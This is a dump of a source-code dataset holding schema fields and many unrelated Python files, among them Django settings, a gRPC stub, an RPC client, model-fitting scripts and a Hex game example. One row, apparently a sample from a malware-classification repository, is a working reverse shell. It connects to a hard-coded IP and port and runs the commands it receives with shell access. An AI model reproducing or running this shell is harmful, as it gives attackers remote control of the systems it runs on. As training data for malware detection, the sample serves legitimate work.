blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
449248113ab98dd46f92d9e76576d832177aefbd
f9acfbff2744c014cd4adbc53d75316cacc00896
/pycspr/api/get_node_peers.py
caff8d058e48be88cc650078538c0c1ab16f9b24
[ "Apache-2.0" ]
permissive
Shr1ftyy/casper-python-sdk
30fb3edc42551faef0b9bf10bf5a13ed8b5ac9f5
1c32ef89ef269f0307d530cfd635cfcbb3f29290
refs/heads/main
2023-07-27T17:17:40.054075
2021-07-29T09:58:12
2021-07-29T09:58:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
490
py
import jsonrpcclient as rpc_client from pycspr.client import NodeConnectionInfo # Method upon client to be invoked. _API_ENDPOINT = "info_get_peers" def execute(connection_info: NodeConnectionInfo) -> dict: """Returns node peers information. :param connection_info: Information required to connect to a no...
[ "mark@casperlabs.io" ]
mark@casperlabs.io
dfe782ae44d0c826f1cf828ff12d497febd5767c
7b1a4d3c3ccdbb95202f8f38babaae087165928c
/backend/home/management/commands/load_initial_data.py
7f4e12075bdbcce12eaff178de5c46492cd6885a
[]
no_license
crowdbotics-apps/find-me-4086
cf5d7e6c9c48a3c0fd3cad669008e17f9056329c
e715d40c825b325ac4bd09f267f1c0a66e0b6645
refs/heads/master
2023-01-10T13:25:12.442913
2019-05-31T22:46:36
2019-05-31T22:46:36
189,666,285
0
0
null
2023-01-03T23:14:40
2019-05-31T22:39:01
Python
UTF-8
Python
false
false
717
py
from django.core.management import BaseCommand from home.models import CustomText, HomePage def load_initial_data(): homepage_body = """ <h1 class="display-4 text-center">Find me</h1> <p class="lead"> This is the sample application created and deployed from the crowdbotics slack app....
[ "team@crowdbotics.com" ]
team@crowdbotics.com
70f0c42a9f45b0c0587d68145739c19c27479312
6efea391d0dd6087d8753057cff45867884fe5f1
/google/cloud/logging_v2/proto/logging_pb2_grpc.py
e1759bbc1b990fe9d20bf576c1c5f12009895806
[ "Apache-2.0" ]
permissive
tswast/python-logging
d9c4ae1ee87fb29436e2f16d9adac2a7a2d08378
c4387b307f8f3502fb53ae1f7e1144f6284280a4
refs/heads/master
2022-12-30T19:50:14.840163
2020-08-12T20:28:40
2020-08-12T20:28:40
298,009,362
0
0
Apache-2.0
2020-09-23T15:12:47
2020-09-23T15:12:46
null
UTF-8
Python
false
false
6,922
py
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! import grpc from google.cloud.logging_v2.proto import ( logging_pb2 as google_dot_cloud_dot_logging__v2_dot_proto_dot_logging__pb2, ) from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2 class LoggingServiceV2Stub(object...
[ "noreply@github.com" ]
tswast.noreply@github.com
1c191670b95cd97eb7e9927c5966fe0fe092eed3
c259bd9e4a570a1fa37949655530d778e5f5c46d
/mysite/.history/mysite/settings_20211014220254.py
edf1209e555479d4892a4fb712109c1d5b7bea7a
[]
no_license
ritikalohia/django-rest-students
0cc56f435b7b2af881adfd7cace54eef98213c57
ca5f9f466fcd74fef8ce91f019bcb6e7d83c8e20
refs/heads/main
2023-08-15T21:51:18.988691
2021-10-14T18:19:04
2021-10-14T18:19:04
417,219,011
3
0
null
null
null
null
UTF-8
Python
false
false
3,239
py
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 3.2.8. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathlib ...
[ "rtklohia@gmail.com" ]
rtklohia@gmail.com
f565c7f1049dafaeb6f59a5d1402e33d61f66f26
cccf8da8d41ae2c14f5f4313c1edcf03a27956bb
/python/python2latex/writeLTXnonfrenchspacing.py
500b80bebf55e18223970983e73099ddd5dc5c8a
[]
no_license
LucaDiStasio/transpilers
e8f8ac4d99be3b42a050148ca8fbc5d025b83290
c55d4f5240083ffd512f76cd1d39cff1016909b8
refs/heads/master
2021-01-12T01:57:00.540331
2017-11-01T13:59:55
2017-11-01T13:59:55
78,448,378
1
0
null
null
null
null
UTF-8
Python
false
false
3,438
py
# Autogenerated with SMOP from smop.core import * # @function def writeLTXnonfrenchspacing(filepath=None,args=None,options=None,*args,**kwargs): varargin = writeLTXnonfrenchspacing.varargin nargin = writeLTXnonfrenchspacing.nargin ## #================================================================...
[ "luca.distasio@gmail.com" ]
luca.distasio@gmail.com
187e3394d0b6b0785bd669990a1261ab0b325a6a
9827506feaa1655c68ad88bf685ccce03d02a686
/venv/lib/python3.6/enum.py
42e7f3ca31565192c6da84c93a5785016df1ca0c
[]
no_license
taixingbi/django-postgres-config
9ea53b0c117aa34605b27c9a9b06fb8cbb57669c
00309dbe29ea528d94c00c6e6dea4ececde54d2d
refs/heads/master
2020-04-11T17:00:51.890200
2018-12-15T21:32:26
2018-12-15T21:32:26
161,945,111
0
0
null
null
null
null
UTF-8
Python
false
false
40
py
/Users/h/anaconda3/lib/python3.6/enum.py
[ "bitaihang@gmail.com" ]
bitaihang@gmail.com
caea2ec58c57adbd5f5dc9e9a63d8dc2b3c96220
85d41b34a472a2ec726b6fe9ebccc19a75159641
/src/run_interrogate.py
c9fd70730d2eb2e009a3c248d42ab3bec617022d
[]
no_license
toontownretro/libotp
186dacbe920b39a44840cc568cd76f1ea87ebd03
1ddfbd6526e88e887468c3c517a5d07dbc6e59be
refs/heads/master
2022-12-19T10:55:28.239247
2020-09-14T00:59:03
2020-09-14T00:59:03
245,036,965
2
2
null
null
null
null
UTF-8
Python
false
false
1,661
py
import subprocess import glob import sys import os srcdir = os.path.abspath(os.path.dirname(__file__)) pandadir = os.path.abspath(sys.argv[1]) def run_command(cmd): p = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, shell=True) ret = p.wait() if ret != 0: print("\n") print('T...
[ "theclashingfritz@users.noreply.github.com" ]
theclashingfritz@users.noreply.github.com
9172f47544a3ec96a3b22276472d050776365b40
8df5df20ac10a8dc81f7ac6e21e835553a8f5e2d
/src/sleekapps/threads/signals/thread/thread.py
62045b0ba77e61bb8a378d1da88a8b31a5019dbe
[]
no_license
adepeter/sleekforum
7be71907d26623c43cd78a6da77a2398c1c25e26
35385e648974cdf009732af4c50b69a1825f7fda
refs/heads/master
2022-09-18T02:45:42.522128
2021-10-23T06:41:44
2021-10-23T06:41:44
208,669,487
0
0
null
null
null
null
UTF-8
Python
false
false
1,075
py
from django.core.cache import cache from django.db.models.signals import post_save from django.dispatch import receiver, Signal from .models import Thread, ThreadView # from ..miscs.models.activity import Action # from ..miscs.signals.activity import activity_updater # # # # @receiver(post_save, sender=Action) # # ...
[ "adepeter26@gmail.com" ]
adepeter26@gmail.com
47466b53530a7e9c3f7c8c4065f831ce72d30c20
12abe02e205d3e8dabe78fb5a93ccca89e2c42c4
/tools/prepare_client.py
6e73dd03164c3faee99d8c53e13fe17142da37b8
[]
no_license
nate97/toontown-src-py3.0
55092b2973b76e6b6d566887f44c52822684394c
f76c515801ae08c40b264b48365211fd44b137eb
refs/heads/master
2022-07-07T05:23:22.071185
2022-06-22T16:36:10
2022-06-22T16:36:10
187,682,471
15
8
null
null
null
null
UTF-8
Python
false
false
6,291
py
#!/usr/bin/env python2 import argparse import hashlib import os from panda3d.core import * import shutil parser = argparse.ArgumentParser() parser.add_argument('--distribution', default='en', help='The distribution string.') parser.add_argument('--build-dir', default='build', h...
[ "nathanielfuhr@gmail.com" ]
nathanielfuhr@gmail.com
d2aa6ff19836d34ff0dab5a45d47cf65bd7f3324
02802ecfff8639edc093068da740ded8ee8228aa
/test/test_inline_object8.py
4de4d72fa7c421eec5426415f92be8159709b6ab
[]
no_license
mintproject/data-catalog-client
0fc406c2063864144a9a995e98724144b43feb66
22afd6341e5f66594c88134834d58e4136e4983a
refs/heads/master
2020-12-08T21:56:02.785671
2020-05-13T03:53:51
2020-05-13T03:53:51
233,105,679
1
1
null
2020-05-13T03:53:53
2020-01-10T18:17:55
Python
UTF-8
Python
false
false
873
py
# coding: utf-8 """ MINT Data Catalog API Documentation for MINT Data Catalog # noqa: E501 The version of the OpenAPI document: 1.0.0 Contact: danf@usc.edu Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import unittest import datacatalog from datacata...
[ "maxiosorio@gmail.com" ]
maxiosorio@gmail.com
c8e9a6df4de37b414ea033965c80120dab0b6e57
d36975caedab71aaaac26156105afaf59448e445
/机器人传感系统/2.超声波距离传感器/读取距离数据_RestfulAPI.py
00db909c44b8986e49e69f50e5f9072b82fad478
[ "MIT" ]
permissive
mukgong/AI-robot
3d84b444ac8d1a0cdb061eda19bb9319c9af036e
f89d91b67705878d9e87ae09a35b436495b66707
refs/heads/master
2022-12-25T01:07:37.174852
2020-10-05T01:44:50
2020-10-05T01:44:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
500
py
import requests import json def get_sensor(): sensor_url = "http://127.0.0.1:9090/v1/sensors/ultrasonic" headers={'Content-Type':'application/json'} response=requests.get(url=sensor_url, headers=headers) print (response.content) res = json.loads(response.content) if (len(res["data"])>...
[ "960751327@qq.com" ]
960751327@qq.com
4e18bb629d0cf47b38d4f4e6bcbfd8840cd16497
84abce44bd0278fa99e9556168290675f399834c
/EcalAlCaRecoProducers/config/reRecoTags/pulseShapeStudy_m100.py
1130a38c27fbf75c327984fb96b19892b85b5ca7
[]
no_license
ECALELFS/ECALELF
7c304c6b544b0f22a4b62cf942f47fa8b58abef0
62a046cdf59badfcb6281a72923a0f38fd55e183
refs/heads/master
2021-01-23T13:36:31.574985
2017-06-22T12:26:28
2017-06-22T12:26:28
10,385,620
1
9
null
2017-06-30T12:59:05
2013-05-30T15:18:55
C++
UTF-8
Python
false
false
2,240
py
import FWCore.ParameterSet.Config as cms from CondCore.DBCommon.CondDBSetup_cfi import * RerecoGlobalTag = cms.ESSource("PoolDBESSource", CondDBSetup, connect = cms.string('frontier://FrontierProd/CMS_CONDITIONS'), globaltag ...
[ "shervin.nourbakhsh@cern.ch" ]
shervin.nourbakhsh@cern.ch
28058e366e9d750aaab587835e0cab482b1cfbc9
1aa44db2eb5bc0d5be21e54e3ca1f4918d5d84bf
/fabfile/servers.py
46fd9f14a872917968e1ada16b0b196477e3cc44
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
nprapps/commencement
a2aea873704120aa8249854a1d12798f1a4b1153
3f8642225d1910807e6419e95fafd5e0f21fbbac
refs/heads/master
2021-07-22T00:25:36.353670
2021-06-16T22:56:56
2021-06-16T22:56:56
19,289,147
1
2
null
2015-07-03T22:44:28
2014-04-29T19:36:14
JavaScript
UTF-8
Python
false
false
8,460
py
#!/usr/bin/env python """ Commands work with servers. (Hiss, boo.) """ import copy from fabric.api import local, put, settings, require, run, sudo, task from fabric.state import env from jinja2 import Template import app_config """ Setup """ @task def setup(): """ Setup servers for deployment. This d...
[ "davideads@gmail.com" ]
davideads@gmail.com
b672d74dc3ade9ca857ed2b97d2a8bc96d25a527
d78989a8ce52a98f48d77228c4ea893f7aae31f7
/symbolic_expressions/sample15-virt-bogus-loop-iterations-2.py
80503fc33404de03c7ff542b5ba14a32feb2dee4
[]
no_license
llyuer/Tigress_protection
78ead2cf9979a7b3287175cd812833167d520244
77c68c4c949340158b855561726071cfdd82545f
refs/heads/master
2020-06-17T11:16:40.078433
2019-04-16T09:27:29
2019-04-16T09:27:29
195,908,093
1
0
null
2019-07-09T01:14:06
2019-07-09T01:14:06
null
UTF-8
Python
false
false
1,086
py
#!/usr/bin/env python2 ## -*- coding: utf-8 -*- import sys def sx(bits, value): sign_bit = 1 << (bits - 1) return (value & (sign_bit - 1)) - (value & sign_bit) SymVar_0 = int(sys.argv[1]) ref_342 = SymVar_0 ref_353 = ref_342 # MOV operation ref_365 = ref_353 # MOV operation ref_367 = ref_365 # MOV operation ...
[ "jonathan.salwan@gmail.com" ]
jonathan.salwan@gmail.com
23867764f0cc8d30cda919abd564c7282ccb15db
facb8b9155a569b09ba66aefc22564a5bf9cd319
/wp2/merra_scripts/03_model_fitting/merraRF882/201-tideGauge.py
52b44422312b41361c88c8c467dad6e7167ae1b9
[]
no_license
moinabyssinia/modeling-global-storm-surges
13e69faa8f45a1244a964c5de4e2a5a6c95b2128
6e385b2a5f0867df8ceabd155e17ba876779c1bd
refs/heads/master
2023-06-09T00:40:39.319465
2021-06-25T21:00:44
2021-06-25T21:00:44
229,080,191
0
0
null
null
null
null
UTF-8
Python
false
false
7,456
py
# -*- coding: utf-8 -*- """ Created on Mon May 4 15:51:30 2020 This program is designed to validate a Random Forest model by using the KFOLD method @author: Michael Tadesse """ #import packages import os import glob import numpy as np import pandas as pd from sklearn import metrics from scipy import stats import se...
[ "michaelg.tadesse@gmail.com" ]
michaelg.tadesse@gmail.com
a741f54aa2bfa5f22db1890af574ff5b01ac58b0
4b46bcb9e3883a57f46d490da424e8d9463ba8aa
/PyFolder/Python_Django/app_integration/apps/appintegrate/models.py
9f694e3217e40b8ecf4af783c0155140d3aaa317
[]
no_license
LAdkins81/DojoAssignments
1752c131454dc6f259d4e84390af218e1a423b50
7bc7a92bed72ff37c5d8991e478ffae8fefd82db
refs/heads/master
2021-01-11T17:53:03.814123
2017-05-09T14:58:33
2017-05-09T14:58:33
79,859,799
0
0
null
null
null
null
UTF-8
Python
false
false
905
py
from __future__ import unicode_literals from django.db import models from ..courses.models import Course from ..loginandreg.models import User from django.db.models import Count # Create your models here. class UserCourseManager(models.Manager): def addUserToCourse(self, object): user_id = object['users']...
[ "lahell@gmail.com" ]
lahell@gmail.com
57968c4b0079829bed20ff53911d5d768715b9fd
7798c5171e4f63b40e9a2d9ae16f4e0f60855885
/manage.py
b3a505230aac16ae6ce9859ed552d3f4d09d2d80
[]
no_license
mstepniowski/wffplanner
d2d5ddd2938bd2b7b294332dad0d24fa63c2700a
62d1d00ca9a546b759e5c394c7a9da06484a7aa3
refs/heads/master
2020-05-20T06:04:22.413395
2015-10-01T16:12:48
2015-10-01T16:12:48
6,033,243
0
0
null
null
null
null
UTF-8
Python
false
false
256
py
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "wffplanner.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
[ "marek@stepniowski.com" ]
marek@stepniowski.com
945d9d0dbf297f3e00334a032fd8cd7922a9654e
6cd87462fd9b5ee575aee281f6d2e4be5391ea92
/apps/twitter/admin.py
f4524da329c2671ab002a1df4a319053a229dfa3
[]
no_license
mo-mughrabi/djsocial
912413574fd7ce943387dbd5744f05ec8ca57f48
060c0a8e0db848879dfaeb4c6f44f1dba7a39aea
refs/heads/master
2016-09-16T10:46:05.853935
2014-03-13T19:14:41
2014-03-13T19:14:41
16,213,862
0
1
null
null
null
null
UTF-8
Python
false
false
644
py
# -*- coding: utf-8 -*- from django.contrib import admin from models import Twitter, ScheduleOrder, Order class TwitterAdmin(admin.ModelAdmin): list_display = ('user', 'tid', 'screen_name','followers_sum', 'following_sum') # Now register the new TwitterAdmin... admin.site.register(Twitter, TwitterAdmin) class Sc...
[ "=" ]
=
4a2d4fecf255307e71b25519413f146f1bdacfd9
56b36ddf920b5f43e922cb84e8f420f1ad91a889
/Leetcode/Leetcode - Premium/Mock Interview/isSubsequence.py
053496e29b0e65f9a467defbd48dcafc83eb967e
[]
no_license
chithien0909/Competitive-Programming
9ede2072e85d696ccf143118b17638bef9fdc07c
1262024a99b34547a3556c54427b86b243594e3c
refs/heads/master
2022-07-23T16:47:16.566430
2020-05-12T08:44:30
2020-05-12T08:44:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,279
py
""" Given a string s and a string t, check if s is subsequence of t. You may assume that there is only lower case English letters in both s and t. t is potentially a very long (length ~= 500,000) string, and s is a short string (<=100). A subsequence of a string is a new string which is formed from the original strin...
[ "ntle1@pipeline.sbcc.edu" ]
ntle1@pipeline.sbcc.edu
b28d0abd6a484e23c277ddb74ecf8140c4ca1fe5
1bdf38834c22b0100595cb22f2862fd1ba0bc1e7
/code308RangeSumQuery2DMutable.py
f914f056042314c3f89d84a5b8ddf3bfe388b092
[]
no_license
cybelewang/leetcode-python
48d91c728856ff577f1ccba5a5340485414d6c6e
635af6e22aa8eef8e7920a585d43a45a891a8157
refs/heads/master
2023-01-04T11:28:19.757123
2020-10-29T05:55:35
2020-10-29T05:55:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,454
py
""" 308. Range Sum Query 2D - Mutable Given a 2D matrix matrix, find the sum of the elements inside the rectangle defined by its upper left corner (row1, col1) and lower right corner (row2, col2). The above rectangle (with the red border) is defined by (row1, col1) = (2, 1) and (row2, col2) = (4, 3), which conta...
[ "guoligit@gmail.com" ]
guoligit@gmail.com
4125a3a6906417841daee6699df1daa262068870
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03069/s036551857.py
273e2d32d2871800eb6b588af947e2fe9c71f0b3
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
269
py
import sys,math,collections,itertools input = sys.stdin.readline N = int(input()) s = input().rstrip() cntb =0 cntw = s.count('.') ans =cntw for i in range(len(s)): if s[i] == '#': cntb +=1 else: cntw -=1 ans = min(ans,cntb+cntw) print(ans)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
f6bdf4d9d98945b174ea3626cac9c7f21706ba7e
73e939e797cc28aa33a4f55c234237c47167033e
/test/test_transaction_summary.py
b5bc1ae60e987c82adcad1bf24cbb8c6ef351245
[]
no_license
dmlerner/ynab-api
b883a086e6ce7c5d2bdb5b17f3f0a40dbb380046
df94b620d9ec626eacb9ce23bfd313f1c589b03a
refs/heads/master
2023-08-17T14:22:17.606633
2023-07-03T17:05:16
2023-07-03T17:05:16
223,287,209
27
13
null
2023-08-05T18:58:58
2019-11-21T23:58:22
Python
UTF-8
Python
false
false
975
py
""" YNAB API Endpoints Our API uses a REST based design, leverages the JSON data format, and relies upon HTTPS for transport. We respond with meaningful HTTP response codes and if an error occurs, we include error details in the response body. API Documentation is at https://api.youneedabudget.com # noqa: E5...
[ "dmlerner@gmail.com" ]
dmlerner@gmail.com
0fb0c324b7732ab490a71f2d069eca7673a43eb2
7a87119ef5d77a1b225aab45083a45dcd376684c
/6_palindroom.py
b71f3511d35f1b2ab48041d139ac45ce6325a707
[]
no_license
astilleman/MI
0e31e0f4098502e83a13805feae82e038c169bb7
1564fd28f759761c3e186d41107c9abff3b69070
refs/heads/master
2023-03-29T19:14:46.817308
2021-04-06T15:43:17
2021-04-06T15:43:17
337,495,283
0
0
null
null
null
null
UTF-8
Python
false
false
1,100
py
""" Een palindroom is een string die hetzelfde leest van links naar rechts, als omgekeerd. Enkele voorbeelden van palindromen zijn: - kayak - racecar - was it a cat I saw Schrijf een recursieve functie die een string vraagt aan de gebruiker en nakijkt of deze string al dan niet een palindroom is. Indien...
[ "43027764+astilleman@users.noreply.github.com" ]
43027764+astilleman@users.noreply.github.com
174e5543c3d14be2f7973435e139bd2bb9bc19b5
ef2f932655e4591c4f654431cd96eedd0af2b5ba
/tests/example.py
b717490fbd69d71977bed6f795fb9a7c57e8a744
[ "MIT" ]
permissive
cair/hex-ai
b380447c6dd445452c161babefdfadf329e899fa
70c134a1479b58634e62c845314c7536ad64e4be
refs/heads/master
2021-08-03T02:37:13.928443
2021-07-26T19:58:51
2021-07-26T20:02:29
209,273,454
0
0
MIT
2021-04-19T17:44:02
2019-09-18T09:46:06
C
UTF-8
Python
false
false
540
py
from PyHex import Hex11 as Hex if __name__ == "__main__": hg = Hex.HexGame() winner = -1 for game in range(10000000): Hex.init(hg) player = 0 while Hex.full_board(hg) == 0: position = Hex.place_piece_randomly(hg, player) if Hex.winner(hg, player, position...
[ "per@sysx.no" ]
per@sysx.no
66eef6585fd94f0ceff511a5bcdfafdbbc1d0330
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad382.py
9b733b70a15ec41b80a16eccdf59369f39e4f4a9
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
318
py
import bz2 import threading import socket import subprocess import lzma import hashlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
b10302ab2daca47e9bd8afe17228e2f901d2976a
d00b1e01f82076248eb07d6391fafabfbac74898
/metadata/FrostNumber/hooks/pre-stage.py
7f090d9c2b69e9473bb79627b7d4db1dbab856b5
[ "MIT" ]
permissive
csdms/wmt-metadata
9b922415faa397e3d5511f258e1a4fda846b78b7
39207acc376f1cd21b2ae1d5581a1e2c317a6441
refs/heads/master
2020-04-07T00:39:56.268862
2019-02-26T21:24:20
2019-02-26T21:24:20
51,040,972
0
0
MIT
2018-10-31T19:36:54
2016-02-04T00:23:47
Python
UTF-8
Python
false
false
769
py
"""A hook for modifying parameter values read from the WMT client.""" import os import shutil from wmt.utils.hook import find_simulation_input_file, yaml_dump from topoflow_utils.hook import assign_parameters file_list = [] def execute(env): """Perform pre-stage tasks for running a component. Parameters ...
[ "mark.piper@colorado.edu" ]
mark.piper@colorado.edu
a296c689355de9ff44465c89010087d206693bda
e15d63ccde04e7458bff5af1bdad63a5c699b489
/example/Model_Conversion/mx2torch/retinaface_r50/res50_transfer_weight.py
17e4e530621f5d1100de117f9e520503564c3aba
[ "WTFPL" ]
permissive
ddddwee1/TorchSUL
775b6a2b1e4ab7aac25a3f0411de83affc257af5
6c7cd41b14fc8b746983e8b981d1ba4d08370ca2
refs/heads/master
2023-08-21T15:21:24.131718
2023-08-18T09:37:56
2023-08-18T09:37:56
227,628,298
13
1
null
null
null
null
UTF-8
Python
false
false
7,870
py
import numpy as np from TorchSUL import Model as M import torch import torch.nn as nn import torch.nn.functional as F class Unit(M.Model): def initialize(self, chn, stride=1, shortcut=False): self.bn0 = M.BatchNorm() self.act = M.Activation(M.PARAM_RELU) self.c1 = M.ConvLayer(1, chn, activation=M.PARAM_REL...
[ "cy960823@outlook.com" ]
cy960823@outlook.com
46bd95d09f6bc8aecede6db2b326fc90533f3af9
45467e07e77131f631d0865046dcc4d18f483601
/src/Hackerearth/round_2/A.py
a766bae20c7b6478ffb22d212ff53cd5256fddb7
[]
no_license
bvsbrk/Algos
98374e094bd3811579276d25a82bbf2c0f046d96
cbb18bce92054d57c0e825069ef7f2120a9cc622
refs/heads/master
2021-09-25T10:01:59.323857
2018-10-20T16:07:07
2018-10-20T16:07:07
98,708,839
0
0
null
null
null
null
UTF-8
Python
false
false
805
py
if __name__ == '__main__': for _ in range(int(input().strip())): n = int(input().strip()) x = n arr = [int(i) for i in input().strip().split()] arr = arr[::-1] i = 0 while arr[i] == 0 and i < n: i += 1 x -= 1 if i == n - 1: ...
[ "v.ramakoteswararao2015@vit.ac.in" ]
v.ramakoteswararao2015@vit.ac.in
6ce151591e20779df71ce25110bc3831ce51c59a
b792f600ed4e50f34e65e4f334cf7a32d319cc0e
/2017/day11.py
cf2d1b7780f769b1e96bacb18b46b9ecb825122d
[]
no_license
daniel70/AoC
d577f490559d4a0f0d24567bd796117e1aac94ec
ef704a4f6e90168cdc2a91e894583a96e9a6c371
refs/heads/master
2022-12-28T03:19:08.341913
2022-12-16T01:52:39
2022-12-18T01:30:50
224,876,724
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
directions = { 'n': (0, 1), 'ne': (1, 0.5), 'se': (1, -0.5), 's': (0, -1), 'sw': (-1, -0.5), 'nw': (-1, 0.5), } def distance(instructions: list[str]) -> tuple[int, int]: origin = [0, 0] furthest = 0 for direction in instructions: dx, dy = directions[direction] origi...
[ "vdmeulen.daniel@gmail.com" ]
vdmeulen.daniel@gmail.com
5432391a83b8c960663d3cef2f2aa55994ff307a
c4bfd8ba4c4c0f21bd6a54a9131f0985a5a4fa56
/crescent/functions/get_att.py
704a83a8c9e664be800a85836e5778252c98e7a2
[ "Apache-2.0" ]
permissive
mpolatcan/crescent
405936ec001002e88a8f62d73b0dc193bcd83010
2fd0b1b9b21613b5876a51fe8b5f9e3afbec1b67
refs/heads/master
2022-09-05T04:19:43.745557
2020-05-25T00:09:11
2020-05-25T00:09:11
244,903,370
1
0
null
null
null
null
UTF-8
Python
false
false
528
py
from .fn import Fn as AnyFn, FnArrayValue from typing import Union class GetAtt(FnArrayValue): def __init__(self): super(GetAtt, self).__init__( fn_name=GetAtt.__name__, field_order=[self.Resource.__name__, self.Attribute.__name__] ) def Resource(self, resource_id: Uni...
[ "mutlupolatcan@gmail.com" ]
mutlupolatcan@gmail.com
6e3877952188cded94c414eb37f6d19ebeb95534
5462142b5e72cb39bea5b802dd46f55357c4ea84
/test_pic/vmgirls/dl_vmgirls_pic.py
499ac3f8cef5a386fe97d91b59fd55f04f358de3
[]
no_license
qqmadeinchina/myhomeocde
a0996ba195020da9af32613d6d2822b049e515a0
291a30fac236feb75b47610c4d554392d7b30139
refs/heads/master
2023-03-23T05:28:53.076041
2020-08-24T08:39:00
2020-08-24T08:39:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,874
py
# -*- coding: utf-8 -*- # @time :2020/8/17 9:56 # @Author:老萝卜 # @file:dl_vmgirls_pic # @Software:%{PRODUICT_NAME} ''' 爬取https://www.vmgirls.com/所有图片 ''' import time import requests from lxml import etree import os import json basepath_picsave="e:\\temp\\pythontest\\vmgirls\\" headers={ "user-agent": "Mozi...
[ "newwxm@126.com" ]
newwxm@126.com
8114f87ea4d123ce369f1ad9b8352b6eaf865dbf
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03208/s325634445.py
323b17ee4ad8a29bda1ed175bcbbe1278f12231d
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
240
py
def resolve(): n, k = map(int, input().split()) H_sort = list(sorted([int(input()) for _ in range(n)],reverse=True)) ans = 10**9 for i in range(n-k+1): ans = min(ans, H_sort[i]-H_sort[i+k-1]) print(ans) resolve()
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
64a803604b6d762457fbc84462c8185a3f0425aa
7a42d40a351824464a3c78dc0c3e78bbd8e0a92f
/bigdog_blog/manage.py
f00bf03a35f34d705c8b341ce90fdc096c01ada7
[]
no_license
AhMay/DerekBlogLearn
6595063eafbc237b932e187b5cb3ad8ff32637fc
fdd5ea2fc5732cdc82ad006f7be0a2a1f30d0ba9
refs/heads/master
2020-07-09T05:20:33.283672
2019-09-29T10:10:23
2019-09-29T10:10:23
203,891,215
0
0
null
null
null
null
UTF-8
Python
false
false
631
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bigdog_blog.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise Im...
[ "meizi111082@hotmail.com" ]
meizi111082@hotmail.com
a143fc16f6331dc078310d40e66a6ceb4909e318
acc9d729e0182b17023e9660457eed0e19f4f828
/test/test_token_resource.py
6855ae9531f7996b2e7633ed1cc0a9aede6033b2
[]
no_license
secuwave/nexpose_client
2f00907ef3ffea33c8e9f5cc2543e708f349de6c
5ceff219ae03cadb5407dc48d8858ffa56bb3463
refs/heads/master
2020-05-22T13:54:22.675479
2019-05-13T09:12:09
2019-05-13T09:12:09
186,369,310
0
0
null
null
null
null
UTF-8
Python
false
false
48,871
py
# coding: utf-8 """ InsightVM API # Overview This guide documents the InsightVM Application Programming Interface (API) Version 3. This API supports the Representation State Transfer (REST) design pattern. Unless noted otherwise this API accepts and produces the `application/json` media type. This API uses ...
[ "root@data-proc.openbase.co.kr" ]
root@data-proc.openbase.co.kr
e2bd9a59636cfd0c2f76a1a4087cc2c5202b1935
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/216/usersdata/274/113966/submittedfiles/av2_p3_civil.py
